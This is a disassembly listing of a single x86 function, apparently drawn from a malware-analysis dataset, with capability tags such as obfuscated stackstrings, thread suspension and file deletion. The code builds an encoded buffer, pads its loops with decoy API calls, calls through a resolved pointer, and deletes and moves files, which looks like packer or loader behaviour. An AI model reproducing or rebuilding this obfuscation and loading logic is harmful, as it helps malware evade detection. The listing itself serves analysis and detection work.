Function at 0x56add0
Capabilities:
Contain obfuscated stackstrings
Create thread
Delete file
Get file size
Move file
Parse pe header
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57a630
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xf14
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x38
push 0
lea eax, [ebp - 0x288]
push eax
call fcn.0056db50
add esp, 0xc
push 0x38
push 0
lea ecx, [ebp - 0x288]
push ecx
call fcn.0056db50
add esp, 0xc
mov dword [ebp - 0x288], 0x38
push 0x38
lea edx, [ebp - 0x288]
push edx
call sub.KERNEL32.dll_K32GetPerformanceInfo
mov eax, dword [0x57d21c]
mov dword [ebp - 0x254], eax
cmp dword [0x57d20c], 0xc
jne 0x56ae93
push 0
call fcn.0056d1b0
add esp, 4
push 0
call fcn.0056d340
add esp, 0xfffffffc
movsd xmm0, qword [0x4012e0]
movsd qword [esp], xmm0
call fcn.0056d180
fstp st(0)
add esp, 8
push 0
call fcn.0056d1b0
add esp, 4
push 0x401218
call fcn.0056d32f
fstp st(0)
add esp, 4
mov dword [ebp - 0x18], 1
cmp dword [ebp - 0x18], 0
je 0x56aef8
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x28], eax
jne 0x56aecd
lea ecx, [ebp - 0x28]
push ecx
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x18], eax
push 0xfa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x56aee6
mov dword [ebp - 4], 0xffffffff
jmp 0x56aef6
jmp 0x56af0d
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
push 0
push 0
push 0x40121c
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov eax, dword [0x57d620]
mov dword [0x57d620], eax
mov dword [0x57d624], 0x57d628
mov ecx, dword [0x57c004]
push ecx
call fcn.00568f30
add esp, 4
mov dword [0x57d214], eax
push 0x164eec
push 0x4034a0
mov edx, dword [0x57d214]
push edx
call fcn.0056c540
add esp, 0xc
cmp dword [0x57d62c], 0x10
jb 0x56af95
push 0x800
push 0
lea eax, [ebp - 0xf24]
push eax
call fcn.0056db50
add esp, 0xc
push 0x800
lea ecx, [ebp - 0xf24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLocaleName]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
jmp 0x56afa0
push 0x401228
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x14], 0
jmp 0x56afb2
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x2c4b3281
jge 0x56b99a
cmp dword [ebp - 0x14], 0x22a6a6ab
jge 0x56b98a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 4
imul ecx, ecx, 0x36
mov dword [ebp + ecx - 0x250], 0x2eccf083
mov edx, 4
imul edx, edx, 0x46
mov dword [ebp + edx - 0x250], 0x12996670
mov eax, 4
imul eax, eax, 0x79
mov dword [ebp + eax - 0x250], 0x928246db
mov ecx, 4
imul ecx, ecx, 0x50
mov dword [ebp + ecx - 0x250], 0xb881b5f9
mov edx, 4
imul edx, edx, 0x1c
mov dword [ebp + edx - 0x250], 0xaa8fa47c
mov eax, 4
imul eax, eax, 0x73
mov dword [ebp + eax - 0x250], 0xc45c48f0
mov ecx, 4
imul ecx, ecx, 0x55
mov dword [ebp + ecx - 0x250], 0x935d6cd6
mov edx, 4
imul edx, edx, 0x26
mov dword [ebp + edx - 0x250], 0x9a04b651
mov eax, 4
imul eax, eax, 0x33
mov dword [ebp + eax - 0x250], 0xb19fe139
mov ecx, 4
shl ecx, 2
mov dword [ebp + ecx - 0x250], 0xb4f85134
mov edx, 4
imul edx, edx, 0x32
mov dword [ebp + edx - 0x250], 0xa957ebfe
mov eax, 4
imul eax, eax, 0x37
mov dword [ebp + eax - 0x250], 0x9f9cfd13
mov ecx, 4
imul ecx, ecx, 0x25
mov dword [ebp + ecx - 0x250], 0x7b2ed534
mov edx, 4
imul edx, edx, 0xd
mov dword [ebp + edx - 0x250], 0xad6afb6a
mov eax, 4
imul eax, eax, 0x4c
mov dword [ebp + eax - 0x250], 0x2fd26bf5
mov ecx, 4
imul ecx, ecx, 0x6d
mov dword [ebp + ecx - 0x250], 0x22a93249
mov edx, 4
imul edx, edx, 0x43
mov dword [ebp + edx - 0x250], 0xae46dac8
mov eax, 4
imul eax, eax, 0xa
mov dword [ebp + eax - 0x250], 0x8b6dfb4e
mov ecx, 4
imul ecx, ecx, 0x45
mov dword [ebp + ecx - 0x250], 0x35599bdd
mov edx, 4
imul edx, edx, 0x4a
mov dword [ebp + edx - 0x250], 0xd91f548
mov eax, 4
imul eax, eax, 0x5e
mov dword [ebp + eax - 0x250], 0x2f242d68
mov ecx, 4
imul ecx, ecx, 0x1e
mov dword [ebp + ecx - 0x250], 0xbb6199b2
mov edx, 4
imul edx, edx, 0x2c
mov dword [ebp + edx - 0x250], 0x27a494c1
mov eax, 4
imul eax, eax, 0x39
mov dword [ebp + eax - 0x250], 0x7fe7e3ef
mov ecx, 4
imul ecx, ecx, 0x12
mov dword [ebp + ecx - 0x250], 0x366d8ed
mov edx, 4
imul edx, edx, 0x2b
mov dword [ebp + edx - 0x250], 0xb3ee7d86
mov eax, 4
imul eax, eax, 0x34
mov dword [ebp + eax - 0x250], 0x1b671bfc
mov ecx, 4
imul ecx, ecx, 0x69
mov dword [ebp + ecx - 0x250], 0x2e799746
mov edx, 4
imul edx, edx, 0x3e
mov dword [ebp + edx - 0x250], 0x18f4c62e
mov eax, 4
imul eax, eax, 0x4f
mov dword [ebp + eax - 0x250], 0x149bbe6d
mov ecx, 4
imul ecx, ecx, 0x6f
mov dword [ebp + ecx - 0x250], 0x9597c268
mov edx, 4
imul edx, edx, 0x7b
mov dword [ebp + edx - 0x250], 0x3811fd90
mov eax, 4
imul eax, eax, 0x72
mov dword [ebp + eax - 0x250], 0x3a05f3c8
mov ecx, 4
imul ecx, ecx, 0x23
mov dword [ebp + ecx - 0x250], 0xc1508e03
mov edx, 4
imul edx, edx, 0x53
mov dword [ebp + edx - 0x250], 0x9d0fba4d
mov eax, 4
imul eax, eax, 7
mov dword [ebp + eax - 0x250], 0x955b80c4
mov ecx, 4
shl ecx, 7
mov dword [ebp + ecx - 0x250], 0x393a6222
mov edx, 4
imul edx, edx, 0x2f
mov dword [ebp + edx - 0x250], 0x24277126
mov eax, 4
imul eax, eax, 0x41
mov dword [ebp + eax - 0x250], 0x9ac32572
mov ecx, 4
imul ecx, ecx, 0x3b
mov dword [ebp + ecx - 0x250], 0x938b0428
mov edx, 4
imul edx, edx, 0x81
mov dword [ebp + edx - 0x250], 0x1aa66280
mov eax, 4
imul eax, eax, 0x59
mov dword [ebp + eax - 0x250], 0xaf195a8e
mov ecx, 4
imul ecx, ecx, 0x7a
mov dword [ebp + ecx - 0x250], 0x2ce1a221
mov edx, 4
imul edx, edx, 0x5c
mov dword [ebp + edx - 0x250], 0xf5b00ffa
mov eax, 4
imul eax, eax, 0x4e
mov dword [ebp + eax - 0x250], 0x8b983a32
mov ecx, 4
imul ecx, ecx, 0x6a
mov dword [ebp + ecx - 0x250], 0xf96686e3
mov edx, 4
imul edx, edx, 0x74
mov dword [ebp + edx - 0x250], 0xf816916c
mov eax, 4
shl eax, 0
mov dword [ebp + eax - 0x250], 0xa51650da
mov ecx, 4
imul ecx, ecx, 5
mov dword [ebp + ecx - 0x250], 0x77d042e7
mov edx, 4
imul edx, edx, 0x4d
mov dword [ebp + edx - 0x250], 0x266cf981
mov eax, 4
imul eax, eax, 0x2d
mov dword [ebp + eax - 0x250], 0x8c119530
mov ecx, 4
imul ecx, ecx, 0x7e
mov dword [ebp + ecx - 0x250], 0xbb552346
mov edx, 4
imul edx, edx, 0x22
mov dword [ebp + edx - 0x250], 0xba773e48
mov eax, 4
imul eax, eax, 0x71
mov dword [ebp + eax - 0x250], 0x1c4962d1
mov ecx, 4
imul ecx, ecx, 0xe
mov dword [ebp + ecx - 0x250], 0x7dcd16ab
mov edx, 4
imul edx, edx, 6
mov dword [ebp + edx - 0x250], 0x95d175cc
mov eax, 4
imul eax, eax, 0x1b
mov dword [ebp + eax - 0x250], 0x950b2e52
mov ecx, 4
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x250], 0x926a2acb
mov edx, 4
imul edx, edx, 0x5b
mov dword [ebp + edx - 0x250], 0xbbe88ee6
mov eax, 4
imul eax, eax, 0x49
mov dword [ebp + eax - 0x250], 0xf6a126f6
mov ecx, 4
shl ecx, 3
mov dword [ebp + ecx - 0x250], 0x203c9b14
mov edx, 4
imul edx, edx, 0x60
mov dword [ebp + edx - 0x250], 0xc1d7041c
mov eax, 4
imul eax, eax, 0x2a
mov dword [ebp + eax - 0x250], 0xb2f97c7f
mov ecx, 4
imul ecx, ecx, 0x51
mov dword [ebp + ecx - 0x250], 0x39c4605a
mov edx, 4
imul edx, edx, 0x3f
mov dword [ebp + edx - 0x250], 0x9f608ecd
mov eax, 4
imul eax, eax, 0x56
mov dword [ebp + eax - 0x250], 0x1e961672
mov ecx, 4
imul ecx, ecx, 0x7d
mov dword [ebp + ecx - 0x250], 0x265d0f25
mov edx, 4
imul edx, edx, 0x17
mov dword [ebp + edx - 0x250], 0xc3809cc9
mov eax, 4
imul eax, eax, 0x52
mov dword [ebp + eax - 0x250], 0x905b411e
mov ecx, 4
imul ecx, ecx, 0x65
mov dword [ebp + ecx - 0x250], 0xbad21348
mov edx, 4
imul edx, edx, 0x7c
mov dword [ebp + edx - 0x250], 0x96912fda
mov eax, 4
imul eax, eax, 0x5a
mov dword [ebp + eax - 0x250], 0x2d91b412
mov ecx, 4
imul ecx, ecx, 0x3c
mov dword [ebp + ecx - 0x250], 0xf552a24
mov edx, 4
imul edx, edx, 0x62
mov dword [ebp + edx - 0x250], 0xb71b5ffc
mov eax, 4
imul eax, eax, 0x77
mov dword [ebp + eax - 0x250], 0x8d146d39
mov ecx, 4
imul ecx, ecx, 0x64
mov dword [ebp + ecx - 0x250], 0xa1c2780b
mov edx, 4
imul edx, edx, 0xb
mov dword [ebp + edx - 0x250], 0x17bcc42d
mov eax, 4
imul eax, eax, 0x15
mov dword [ebp + eax - 0x250], 0x1d54a4bb
mov ecx, 4
imul ecx, ecx, 0x14
mov dword [ebp + ecx - 0x250], 0xf47fe1df
mov edx, 4
shl edx, 6
mov dword [ebp + edx - 0x250], 0x7ccd5fcf
mov eax, 4
imul eax, eax, 0x44
mov dword [ebp + eax - 0x250], 0xbbd7ec1a
mov ecx, 4
imul ecx, ecx, 0x76
mov dword [ebp + ecx - 0x250], 0xbf82932b
mov edx, 4
imul edx, edx, 0x66
mov dword [ebp + edx - 0x250], 0x36a9545e
mov eax, 4
imul eax, eax, 0x16
mov dword [ebp + eax - 0x250], 0x8d783354
mov ecx, 4
imul ecx, ecx, 0x48
mov dword [ebp + ecx - 0x250], 0x20ad539c
mov edx, 4
imul edx, edx, 0x68
mov dword [ebp + edx - 0x250], 0x25bd60de
mov eax, 4
imul eax, eax, 0x2e
mov dword [ebp + eax - 0x250], 0x8d76c429
mov ecx, 4
imul ecx, ecx, 0x24
mov dword [ebp + ecx - 0x250], 0x1dbc90f7
mov edx, 4
imul edx, edx, 0x31
mov dword [ebp + edx - 0x250], 0xbf1da4af
mov eax, 4
imul eax, eax, 0
mov dword [ebp + eax - 0x250], 0x78c1bb7e
mov ecx, 4
imul ecx, ecx, 0x5d
mov dword [ebp + ecx - 0x250], 0x7fafad8d
mov edx, 4
imul edx, edx, 0x18
mov dword [ebp + edx - 0x250], 0xb45b7314
mov eax, 4
imul eax, eax, 0xf
mov dword [ebp + eax - 0x250], 0x9feffff5
mov ecx, 4
imul ecx, ecx, 0x27
mov dword [ebp + ecx - 0x250], 0xa421fe7c
mov edx, 4
imul edx, edx, 0x38
mov dword [ebp + edx - 0x250], 0xb3c79f3c
mov eax, 4
imul eax, eax, 0x19
mov dword [ebp + eax - 0x250], 0xa3829965
mov ecx, 4
imul ecx, ecx, 0x3a
mov dword [ebp + ecx - 0x250], 0x3e021f1
mov edx, 4
imul edx, edx, 0x67
mov dword [ebp + edx - 0x250], 0x8ce2be3a
mov eax, 4
imul eax, eax, 0x11
mov dword [ebp + eax - 0x250], 0x29b07ed2
mov ecx, 4
imul ecx, ecx, 0x29
mov dword [ebp + ecx - 0x250], 0xaa2e50a4
mov edx, 4
imul edx, edx, 0x6b
mov dword [ebp + edx - 0x250], 0x9fc39609
mov eax, 4
imul eax, eax, 0x58
mov dword [ebp + eax - 0x250], 0xb495f4a4
mov ecx, 4
imul ecx, ecx, 0x21
mov dword [ebp + ecx - 0x250], 0x94bb0fbd
mov edx, 4
imul edx, edx, 0x28
mov dword [ebp + edx - 0x250], 0x32a2562f
mov eax, 4
shl eax, 1
mov dword [ebp + eax - 0x250], 0xc301d6a6
mov ecx, 4
shl ecx, 5
mov dword [ebp + ecx - 0x250], 0xb9a34942
mov edx, 4
imul edx, edx, 0x5f
mov dword [ebp + edx - 0x250], 0x3555b296
mov eax, 4
imul eax, eax, 0x57
mov dword [ebp + eax - 0x250], 0x7ca421b3
mov ecx, 4
imul ecx, ecx, 0x1f
mov dword [ebp + ecx - 0x250], 0x295dd009
mov edx, 4
imul edx, edx, 0x78
mov dword [ebp + edx - 0x250], 0x1f8f8eb6
mov eax, 4
imul eax, eax, 0x47
mov dword [ebp + eax - 0x250], 0xad8e39f9
mov ecx, 4
imul ecx, ecx, 9
mov dword [ebp + ecx - 0x250], 0xb25fd30d
mov edx, 4
imul edx, edx, 0x42
mov dword [ebp + edx - 0x250], 0x9dea48ec
mov eax, 4
imul eax, eax, 0x63
mov dword [ebp + eax - 0x250], 0xb8b5eeb6
mov ecx, 4
imul ecx, ecx, 0x6c
mov dword [ebp + ecx - 0x250], 0xbac93add
mov edx, 4
imul edx, edx, 0x70
mov dword [ebp + edx - 0x250], 0xa040d1c2
mov eax, 4
imul eax, eax, 0x1a
mov dword [ebp + eax - 0x250], 0xf880587a
mov ecx, 4
imul ecx, ecx, 0x54
mov dword [ebp + ecx - 0x250], 0xa581492c
mov edx, 4
imul edx, edx, 0x4b
mov dword [ebp + edx - 0x250], 0x19170cbe
mov eax, 4
imul eax, eax, 0x30
mov dword [ebp + eax - 0x250], 0x3ae21055
mov ecx, 4
imul ecx, ecx, 0xc
mov dword [ebp + ecx - 0x250], 0x2c0cda9a
mov edx, 4
shl edx, 4
mov dword [ebp + edx - 0x250], 0xf75f81d2
mov eax, 4
imul eax, eax, 0x13
mov dword [ebp + eax - 0x250], 0x7b9d07e5
mov ecx, 4
imul ecx, ecx, 0x1d
mov dword [ebp + ecx - 0x250], 0x891cfc9d
mov edx, 4
imul edx, edx, 0x7f
mov dword [ebp + edx - 0x250], 0xba81c0d6
mov eax, 4
imul eax, eax, 0x75
mov dword [ebp + eax - 0x250], 0x1dca433a
mov ecx, 4
imul ecx, ecx, 0x61
mov dword [ebp + ecx - 0x250], 0xb27e4bfa
mov edx, 4
imul edx, edx, 0x6e
mov dword [ebp + edx - 0x250], 0x3377289f
mov eax, 4
imul eax, eax, 0x35
mov dword [ebp + eax - 0x250], 0x7cac3f3f
mov ecx, 4
imul ecx, ecx, 0x3d
mov dword [ebp + ecx - 0x250], 0x166e2c2c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
cmp dword [ebp - 0x14], 0x7dca4
jle 0x56b995
jmp 0x56b99a
jmp 0x56afa9
push 0
mov edx, dword [0x57c004]
push edx
mov eax, dword [0x57d214]
push eax
call fcn.0056a1b0
add esp, 0xc
push 0x44
push 0
lea ecx, [ebp - 0x2cc]
push ecx
call fcn.0056db50
add esp, 0xc
push 0x70
push 0
lea edx, [ebp - 0x33c]
push edx
call fcn.0056db50
add esp, 0xc
mov dword [ebp - 0x20], 0x281f
cmp dword [0x57d20c], 0x124
jne 0x56ba4a
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push 0x44
push 0
lea ecx, [ebp - 0x2cc]
push ecx
call fcn.0056db50
add esp, 0xc
lea edx, [ebp - 0x2cc]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push 0x70
push 0
lea eax, [ebp - 0x33c]
push eax
call fcn.0056db50
add esp, 0xc
lea ecx, [ebp - 0x33c]
push ecx
push 0
call dword [sym.imp.USER32.dll_GetPointerPenInfo]
push 0
call dword [sym.imp.KERNEL32.dll_DisableThreadProfiling]
mov edx, dword [ebp - 0x20]
sub edx, 1
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], 0x23
jge 0x56b9de
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
test eax, eax
je 0x56bac2
cmp dword [0x57d20c], 0x4a
jne 0x56bac2
push 0x3e8
push 0
lea ecx, [ebp - 0x724]
push ecx
call fcn.0056db50
add esp, 0xc
push 0x3e8
lea edx, [ebp - 0x724]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleOriginalTitleW]
push 1
call dword [sym.imp.KERNEL32.dll_GetMaximumProcessorCount]
lea eax, [ebp - 0x44]
push eax
push 0x401238
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
call dword [0x57d214]
mov dword [0x57d20c], eax
push 0x401248
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [0x57d634]
push ecx
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov edx, dword [0x57d20c]
push edx
call fcn.00568f30
add esp, 4
mov dword [0x57d210], eax
mov dword [ebp - 0x1c], 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
cmp dword [ebp - 0x1c], 0
je 0x56bb3a
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 0x1c], 0
mov edx, dword [0x57d20c]
push edx
mov eax, dword [0x57d214]
push eax
mov ecx, dword [0x57d210]
push ecx
call fcn.0056c540
add esp, 0xc
push 1
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x56bb82
push 0x401254
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x401270
push 0x401278
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 1
mov edx, dword [0x57c004]
push edx
mov eax, dword [0x57d214]
push eax
call fcn.0056a1b0
add esp, 0xc
call fcn.00568390
push 0
mov ecx, dword [0x57d20c]
push ecx
mov edx, dword [0x57d210]
push edx
call fcn.0056a1b0
add esp, 0xc
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret